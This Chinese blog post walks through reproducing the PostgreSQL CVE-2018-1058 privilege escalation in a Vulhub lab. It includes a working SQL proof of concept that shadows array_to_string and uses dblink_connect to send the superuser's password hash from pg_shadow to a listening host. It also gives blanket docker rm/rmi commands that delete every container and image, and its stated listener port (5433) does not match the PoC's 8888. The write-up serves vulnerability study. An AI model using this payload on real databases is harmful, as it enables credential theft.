P6 利用Vulhub复现漏洞 -PostgreSQL 提权漏洞(CVE-2018-1058)
Posted 在下小黄
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了P6 利用Vulhub复现漏洞 -PostgreSQL 提权漏洞(CVE-2018-1058)相关的知识,希望对你有一定的参考价值。
大家好!
我是小黄,很高兴又跟大家见面啦 !
拒绝水文,从我做起 !!!!
今天更新的是:
- P6 利用Vulhub复现漏洞 -PostgreSQL 提权漏洞(CVE-2018-1058)
- 往期检索:程序设计学习笔记——目录
创建时间:2021年3月29日
软件: kali 2020.4 、Burp Suite Pro 、火狐浏览器 、Vulhub靶机
Vulhub 复现
漏洞原理
- PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。
- 普通用户连接到数据库—>注入危险代码—>等待超级用户登录触发后门—>收到敏感信息
- 影响版本:PostgreSQL < 10
环境准备
- 打开漏洞存放路径:
cd /home/vulhub/vulhub/postgres/CVE-2018-1058/
- 搭建及运行漏洞环境:
docker-compose up -d
- 环境启动后,将在本地开启PG默认的5432端口。
漏洞复现
- 我们先通过普通用户vulhub:vulhub的身份登录postgres: psql --host your-ip --username vulhub
- 我们第一次直接输入可能会报错,让我们下载一个
apt install postgresql-client-common
- 那我们就执行这个命令
- 发现我们重新输入指令后还是出错误了,那我们尝试用
kali
来试一下 psql --host 192.168.244.134 --username vulhub
- 输入口令:
vulhub
- 将POC之后粘贴进去、注意POC里面的端口和IP地址。
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.244.134 port=8888 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
- 退出:
exit
- 然后我在
192.168.244.134
上监听5433端口
,等待超级用户触发我们留下的这个“后门”,用超级用户的身份执行pg_dump命令:docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub
,导出vulhub这个数据库的内容。执行上述命令的同时,“后门”已被触发192.168.244.134
机器上已收到敏感信息:
- 我们写POC的时候可能,会不注意POC里面的端口和IP地址。
- 这个时候就会报错了
- 我们提供两种方法:第一种修改数据库这个文件(自行百度,比较麻烦)、第二种就是直接删除这个镜像:
docker rm $(docker ps -a |awk '{print $1}') 删除已开启的容器
、docker rmi $(docker images |awk '{print $3}') 删除镜像
走过路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。
每个小伙伴的关注都是本人更新博客的动力!!!
请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !
把握现在 ,展望未来 ,加油 !
由于水平有限 ,写的难免会有些不足之处 ,恳请各位大佬不吝赐教 !
以上是关于P6 利用Vulhub复现漏洞 -PostgreSQL 提权漏洞(CVE-2018-1058)的主要内容,如果未能解决你的问题,请参考以下文章
安全-Fastjson 小于等于1.2.24版本代码执行漏洞复现(vulhub)